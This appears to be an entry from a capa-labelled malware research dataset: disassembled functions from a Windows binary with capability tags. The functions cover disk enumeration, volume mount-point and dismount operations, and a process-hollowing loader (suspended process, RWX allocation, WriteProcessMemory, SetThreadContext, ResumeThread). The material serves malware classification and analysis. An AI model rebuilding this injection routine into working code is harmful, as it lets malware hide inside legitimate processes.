joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d25
Capabilities:
Create directory

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrW]
xor ebx, ebx
push 0x5c
inc ebx
push ebp
jmp 0x403d6c
and word [esi], 0
push ebp
call fcn.00403cfd
test eax, eax
pop ecx
jne 0x403d61
test ebx, ebx
je 0x403d5f
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x403d5f
xor ebx, ebx
inc ebx
jmp 0x403d61
xor ebx, ebx
mov word [esi], 0x5c
push 0x5c
add esi, 2
push esi
call edi
mov esi, eax
test esi, esi
jne 0x403d3b
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret

Function at 0x403d7b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
leave
ret

Function at 0x403dbd
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov esi, 0x40212c
lea edi, [ebp - 0x218]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1fa
xor esi, esi
lea eax, [ebp - 0x20a]
push esi
push eax
or ebx, 0xffffffff
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5f
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
mov edi, eax
cmp edi, esi
je 0x403e6f
push dword [ebp + 8]
call fcn.00403ab0
pop ecx
push esi
push 0x80
push 3
push esi
push 3
mov word [edi], ax
push SysReAllocString
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x403e6f
cmp edi, 0xffffffff
je 0x403e6f
push esi
lea eax, [ebp - 4]
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push 0x2d1080
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x403e68
cmp dword [ebp + 0xc], esi
mov ebx, dword [ebp - 0xc]
jne 0x403e68
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40421d
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
cmp dword [ebp + 0x10], 0
jne 0x404259
cmp dword [ebp + 0xc], 0
mov cl, 0x14
je 0x40424e
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
jmp 0x404254
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00420080
leave
ret
Function at 0x40427d
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp word [ebp + 8], bx
je 0x4043d4
push edi
push 0x206
lea eax, [ebp - 0x216]
push ebx
push eax
mov word [ebp - 0x218], bx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 6]
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
call fcn.00403ab0
add esp, 0x10
cmp dword [ebp + 0xc], ebx
mov word [ebp - 0x10], ax
mov word [ebp - 0xe], 0x3a
mov word [ebp - 0xc], bx
mov word [ebp - 8], ax
mov word [ebp - 6], 0x3a
mov word [ebp - 4], 0x5c
mov word [ebp - 2], bx
je 0x404399
push dword [ebp - 8]
call fcn.00403d96
test eax, eax
pop ecx
je 0x404315
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteVolumeMountPointW]
mov esi, eax
cmp esi, ebx
je 0x4043d3
push dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.DLL_DefineDosDeviceW]
lea eax, [ebp - 0x10]
push eax
push 1
call edi
mov esi, eax
cmp esi, ebx
je 0x4043d3
push 0x104
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp + 8], 1
call dword [sym.imp.KERNEL32.DLL_GetVolumeNameForVolumeMountPointW]
test eax, eax
jne 0x404369
lea eax, [ebp - 8]
push eax
call fcn.00403cfd
test eax, eax
pop ecx
jne 0x404387
mov dword [ebp + 8], ebx
mov word [ebp - 0x218], bx
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push eax
push 7
call edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
mov esi, eax
cmp esi, ebx
je 0x404395
cmp dword [ebp + 8], ebx
je 0x404395
xor esi, esi
inc esi
jmp 0x4043d3
xor esi, esi
jmp 0x4043d3
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteVolumeMountPointW]
mov esi, eax
cmp esi, ebx
jne 0x4043d3
push dword [ebp - 8]
call fcn.00403f09
test eax, eax
pop ecx
jne 0x4043c4
lea eax, [ebp - 8]
push eax
call fcn.00403cfd
test eax, eax
pop ecx
jne 0x4043d3
push ebx
lea eax, [ebp - 0x10]
push eax
push 2
call dword [sym.imp.KERNEL32.DLL_DefineDosDeviceW]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40440d
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x206
push edi
lea eax, [ebp - 0x20e]
push ebx
push eax
mov dword [ebp - 4], ebx
mov word [ebp - 0x210], bx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x40451e
cmp eax, 0xffffffff
je 0x40451e
mov ebx, 0x402174
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 0x5c
pop ecx
dec eax
cmp word [ebp - 0x210], cx
jne 0x4044fc
cmp word [ebp - 0x20e], cx
jne 0x4044fc
cmp word [ebp - 0x20c], 0x3f
jne 0x4044fc
cmp word [ebp - 0x20a], cx
jne 0x4044fc
lea eax, [ebp + eax*2 - 0x210]
cmp word [eax], cx
jne 0x4044fc
xor ecx, ecx
push edi
mov word [eax], cx
push ecx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], cx
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
test eax, eax
je 0x4044fc
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
push ebx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x4044fc
inc dword [ebp - 4]
push esi
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
jne 0x404467
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
mov ax, word [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404527
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
xor esi, esi
push 0x206
lea eax, [ebp - 0x216]
push esi
push eax
mov word [ebp - 0x218], si
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsW]
cmp word [ebp - 0x218], si
lea ebx, [ebp - 0x218]
jne 0x40457c
xor ax, ax
pop edi
pop esi
pop ebx
leave
ret
xor esi, esi
push 0x206
lea eax, [ebp - 0x41e]
push esi
push eax
mov word [ebp - 0x420], si
call sub.MSVCRT.dll_memset
mov esi, 0x402190
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0xa]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
movzx eax, word [ebx]
push eax
call fcn.00403ab0
add esp, 0x10
mov word [ebp - 0x10], ax
push 0x104
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
test eax, eax
je 0x40460a
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov esi, 0x402174
push esi
call edi
push eax
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x40460a
push esi
call edi
lea eax, [ebp + eax*2 - 0x420]
push eax
call fcn.00403b00
cmp eax, dword [ebp + 8]
pop ecx
je 0x404624
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea ebx, [ebx + eax*2 + 2]
cmp word [ebx], 0
jne 0x40457a
jmp 0x404572
mov ax, word [ebp - 0x10]
jmp 0x404575
Function at 0x4046e7
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
push ebx
push esi
push edi
push 0x12
xor esi, esi
push esi
push esi
mov ebx, 0x4038d4
push ebx
call dword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsW]
mov edi, eax
cmp edi, esi
mov dword [ebp - 0xc], edi
je 0x404713
cmp edi, 0xffffffff
jne 0x40471a
xor eax, eax
jmp 0x404823
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x2c], 0x1c
push esi
jmp 0x4047f3
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
lea eax, [ebp - 0x2c]
push eax
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceInterfaceDetailW]
cmp dword [ebp - 4], esi
je 0x4047e6
cmp dword [ebp - 4], 0x400
ja 0x4047e6
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x454], 6
mov dword [ebp - 0x54], 0x1c
call dword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceInterfaceDetailW]
test eax, eax
je 0x4047e6
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x4047e6
cmp edi, 0xffffffff
je 0x4047e6
push esi
lea eax, [ebp - 0x10]
push eax
push 0xc
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push 0x2d1080
push edi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x4047df
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x34]
je 0x404810
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc dword [ebp - 8]
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
push ebx
push esi
push edi
call dword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInterfaces]
test eax, eax
jne 0x40472e
push edi
call dword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
jmp 0x404713
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
mov eax, dword [ebp - 0x40]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404a65
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
push dword [ebp + 8]
call fcn.004049f6
cmp ax, word [ebp + 0xc]
pop ecx
jb 0x404aed
lea eax, [ebp - 0x208]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsW]
xor edi, edi
cmp word [ebp - 0x208], di
je 0x404aed
lea esi, [ebp - 0x208]
movzx eax, word [esi]
cmp ax, 0x41
je 0x404ad2
cmp ax, 0x42
je 0x404ad2
push eax
call fcn.00403e92
pop ecx
movzx ecx, word [ebp + 0xc]
cmp eax, ecx
jne 0x404ad2
movzx eax, word [esi]
push eax
call fcn.00403e84
pop ecx
movzx ecx, word [ebp + 8]
cmp eax, ecx
je 0x404af4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea edi, [edi + eax + 1]
movzx esi, di
lea esi, [ebp + esi*2 - 0x208]
cmp word [esi], 0
jne 0x404aa2
xor ax, ax
pop edi
pop esi
leave
ret
movzx eax, di
movzx eax, word [ebp + eax*2 - 0x208]
push eax
call fcn.00403ab0
pop ecx
jmp 0x404af0
Function at 0x404b51
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp word [ebp + 0x10], 0
push esi
je 0x404bc2
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404a65
movzx eax, ax
cmp ax, word [ebp + 0x10]
pop ecx
pop ecx
je 0x404bb1
push dword [ebp + 0x10]
call fcn.00403ab0
movzx esi, ax
cmp si, 0x5a
pop ecx
ja 0x404b90
cmp si, 0x42
jae 0x404b92
xor esi, esi
test si, si
je 0x404ba7
push esi
call fcn.00403d96
test eax, eax
pop ecx
jne 0x404ba7
movzx eax, si
jmp 0x404bb6
call fcn.00404828
movzx eax, ax
jmp 0x404bb6
test ax, ax
je 0x404bc9
push eax
call fcn.00403ab0
pop ecx
movzx esi, ax
jmp 0x404bcc
call fcn.00404828
jmp 0x404bbd
mov esi, dword [ebp + 0x10]
movzx eax, word [ebp + 0xc]
push eax
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x208]
push 0x4021a4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
test si, si
je 0x404c08
lea eax, [ebp - 0x208]
push eax
push esi
call fcn.0040427d
test eax, eax
pop ecx
pop ecx
je 0x404c08
mov ax, si
jmp 0x404c0b
xor ax, ax
pop esi
leave
ret
Function at 0x40534e
Capabilities:
Unmount volume via ioctl

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0xac
push ebx
push dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp + 0x64], ebx
call fcn.0040462d
test eax, eax
pop ecx
je 0x405459
push edi
push 0x9e
lea eax, [ebp - 0x3a]
push ebx
push eax
mov word [ebp - 0x3c], bx
call sub.MSVCRT.dll_memset
movzx eax, word [ebp + 0x78]
push eax
lea eax, [ebp - 0x3c]
push 0x40213c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, ebx
je 0x405458
cmp edi, 0xffffffff
je 0x405458
cmp dword [ebp + 0x7c], ebx
push esi
push ebx
lea eax, [ebp + 0x68]
push eax
push ebx
push ebx
push ebx
push ebx
je 0x405441
mov esi, dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
push 0x90018
push edi
call esi
test eax, eax
je 0x405450
push ebx
lea eax, [ebp + 0x68]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90020
push edi
call esi
test eax, eax
je 0x40542e
push ebx
lea eax, [ebp + 0x68]
push eax
push ebx
push ebx
push 1
lea eax, [ebp + 0x6f]
push eax
push 0x2d4804
push edi
mov byte [ebp + 0x6f], bl
call esi
test eax, eax
je 0x40542e
push ebx
lea eax, [ebp + 0x68]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x2d4808
push edi
call esi
mov dword [ebp + 0x64], eax
push ebx
lea eax, [ebp + 0x68]
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
jmp 0x405450
push 0x2d480c
push edi
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
mov dword [ebp + 0x64], eax
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
pop edi
mov eax, dword [ebp + 0x64]
pop ebx
add ebp, 0x70
leave
ret
Function at 0x40567a
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x860
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
lea eax, [ebp - 0x5c]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov ax, word [ebp + 0x18]
push 0x7fe
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x85e]
push ebx
push eax
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x860], bx
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 0x1c]
add esp, 0x18
cmp esi, ebx
push 0x400
lea eax, [ebp - 0x860]
push eax
je 0x4056fc
mov edi, 0x402244
push edi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
push edi
call fcn.00403cd5
test eax, eax
pop ecx
jne 0x405703
push 0x400
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
neg esi
sbb esi, esi
lea eax, [ebp - 0x860]
and esi, 0x10
push eax
add esi, 4
call edi
test eax, eax
je 0x4057ce
push dword [ebp + 0x14]
call edi
test eax, eax
je 0x40574d
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x402240
lea eax, [ebp - 0x860]
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x860]
push eax
call edi
mov edi, dword [ebp + 8]
push edi
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x4057ce
mov esi, dword [ebp + 0xc]
push esi
mov dword [esi], 0x10007
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [esi + 0xa4]
push 4
push ebx
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov esi, dword [ebx]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
jmp 0x4057b2
cmp dword [ebp - 0xc], 0x10000
je 0x4057c1
add esi, dword [ebp - 0x10]
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [edi]
call ebx
test eax, eax
jne 0x4057a6
mov eax, dword [ebp + 0x10]
sub esi, dword [eax]
mov dword [eax + 4], esi
xor eax, eax
inc eax
jmp 0x4057d0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40585f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
push dword [ebp + 0x24]
and dword [ebp - 0x18], 0
push dword [ebp + 0x1c]
lea eax, [ebp - 0x20]
push dword [ebp + 0x18]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040567a
add esp, 0x18
test eax, eax
je 0x405a11
mov eax, dword [ebp - 0x20]
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x1c], eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push edi
mov edi, 0x3000
jne 0x4058cf
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp + 0x14], ecx
ja 0x4058cf
lea edx, [ebp - 0x24]
push edx
push 0x40
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
jmp 0x405903
push 0x402268
push 0x402254
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
test eax, eax
jne 0x405903
push 0x40
push edi
push dword [ebp + 0x14]
push dword [ebx + 0x1c]
push dword [ebp - 0x14]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405949
push ebx
call fcn.004057d5
add esp, 4
test eax, eax
je 0x4059f3
push 0x40
push edi
push dword [ebp + 0x14]
push 0
push dword [ebp - 0x14]
call esi
test eax, eax
mov dword [ebp - 4], eax
je 0x4059f3
push eax
push dword [ebp + 0x10]
push ebx
call fcn.004057f2
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4059f3
mov esi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x24c]
add eax, 8
push eax
push dword [ebp - 0x14]
call esi
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 4]
xor edi, edi
push edi
push dword [ebp + 0x14]
mov dword [eax + edx + 0x34], ecx
push edx
push dword [ebp - 4]
push dword [ebp - 0x14]
call esi
test eax, eax
je 0x4059f0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x20]
mov dword [ebp - 0x2f0], 0x10007
jne 0x4059ab
mov eax, dword [ebx + 0x10]
add eax, dword [ebx + 0x1c]
mov dword [ebp - 0x240], eax
jmp 0x4059b6
mov ecx, dword [ebx + 0x10]
add ecx, eax
mov dword [ebp - 0x240], ecx
lea eax, [ebp - 0x2f0]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
test eax, eax
je 0x4059fe
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
test eax, eax
jbe 0x4059fe
cmp dword [ebp + 0x20], edi
je 0x4059e7
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov dword [ebp - 0x18], 1
jmp 0x4059fe
push edi
jmp 0x4059f5
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x405a16
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040547e
mov ebx, dword [ebp - 8]
add esp, 0x18
test eax, eax
je 0x405ac7
push esi
push edi
push ebx
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0040554d
add esp, 0xc
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x405ac5
push esi
push ebx
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call fcn.004055c3
add esp, 0x14
test eax, eax
je 0x405ac5
xor eax, eax
cmp word [ebp - 0xfc], 3
sete al
push eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x140]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push esi
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.0040585f
add esp, 0x20
mov dword [ebp - 4], eax
pop edi
pop esi
test ebx, ebx
je 0x405ad2
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x405f9c
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x406699
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x14c
push ebx
push esi
push edi
xor esi, esi
lea edx, [eax + 0x1c]
mov ecx, dword [edx]
mov edi, ecx
ror edi, 8
and edi, 0xff00ff00
rol ecx, 8
and ecx, 0xff00ff
or edi, ecx
mov dword [ebp + esi*4 - 0x14c], edi
inc esi
add edx, 4
cmp esi, 0x10
jb 0x4066ad
push 0x40
lea ecx, [ebp - 0x144]
pop edx
mov esi, dword [ecx + 0x2c]
xor esi, dword [ecx + 0x18]
xor esi, dword [ecx - 8]
xor esi, dword [ecx]
add ecx, 4
dec edx
rol esi, 1
mov dword [ecx + 0x34], esi
jne 0x4066de
mov edi, dword [eax + 0x14]
mov edx, dword [eax + 8]
mov esi, dword [eax + 0xc]
mov ecx, dword [eax + 0x10]
and dword [ebp + 8], 0
mov dword [ebp - 4], edi
mov edi, dword [eax + 0x18]
mov dword [ebp - 0xc], edi
mov edi, esi
not edi
and edi, dword [ebp - 4]
mov dword [ebp - 8], edx
mov ebx, ecx
and ebx, esi
xor edi, ebx
rol edx, 5
add edx, edi
mov edi, dword [ebp + 8]
add edx, dword [ebp + edi*4 - 0x14c]
mov edi, dword [ebp - 0xc]
inc dword [ebp + 8]
ror esi, 2
cmp dword [ebp + 8], 0x14
lea edx, [edx + edi + 0x5a827999]
mov edi, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov ecx, esi
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
jb 0x40670d
mov dword [ebp + 8], 0x14
mov ebx, dword [ebp - 4]
xor ebx, ecx
mov dword [ebp - 8], edx
xor ebx, esi
rol edx, 5
add edx, ebx
mov ebx, dword [ebp + 8]
add edx, dword [ebp + ebx*4 - 0x14c]
inc dword [ebp + 8]
ror esi, 2
cmp dword [ebp + 8], 0x28
lea edx, [edx + edi + 0x6ed9eba1]
mov edi, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov ecx, esi
mov esi, dword [ebp - 8]
jb 0x406757
mov dword [ebp - 0xc], edi
mov dword [ebp + 8], 0x28
mov edi, ecx
xor edi, esi
and edi, dword [ebp - 4]
mov ebx, ecx
and ebx, esi
xor edi, ebx
mov ebx, dword [ebp + 8]
add edi, dword [ebp + ebx*4 - 0x14c]
mov dword [ebp - 8], edx
rol edx, 5
add edx, dword [ebp - 0xc]
inc dword [ebp + 8]
lea edx, [edi + edx - 0x70e44324]
mov edi, dword [ebp - 4]
ror esi, 2
push 0x3c
mov dword [ebp - 0xc], edi
pop edi
cmp dword [ebp + 8], edi
mov dword [ebp - 4], ecx
mov ecx, esi
mov esi, dword [ebp - 8]
jb 0x406798
mov dword [ebp + 8], edi
mov edi, dword [ebp - 4]
mov ebx, dword [ebp + 8]
xor edi, ecx
mov dword [ebp - 8], edx
xor edi, esi
add edi, dword [ebp + ebx*4 - 0x14c]
mov ebx, dword [ebp - 4]
rol edx, 5
add edx, dword [ebp - 0xc]
inc dword [ebp + 8]
ror esi, 2
cmp dword [ebp + 8], 0x50
mov dword [ebp - 4], ecx
mov ecx, esi
mov esi, dword [ebp - 8]
lea edx, [edi + edx - 0x359d3e2a]
mov dword [ebp - 0xc], ebx
jb 0x4067de
mov edi, dword [eax + 8]
add edi, edx
mov edx, dword [eax + 0xc]
add edx, esi
mov dword [eax + 0xc], edx
mov edx, dword [eax + 0x10]
add edx, ecx
mov ecx, dword [eax + 0x14]
mov dword [eax + 0x10], edx
mov edx, dword [ebp - 4]
add ecx, edx
mov dword [eax + 0x14], ecx
mov ecx, dword [eax + 0x18]
mov dword [eax + 8], edi
pop edi
add ecx, ebx
pop esi
mov dword [eax + 0x18], ecx
pop ebx
leave
ret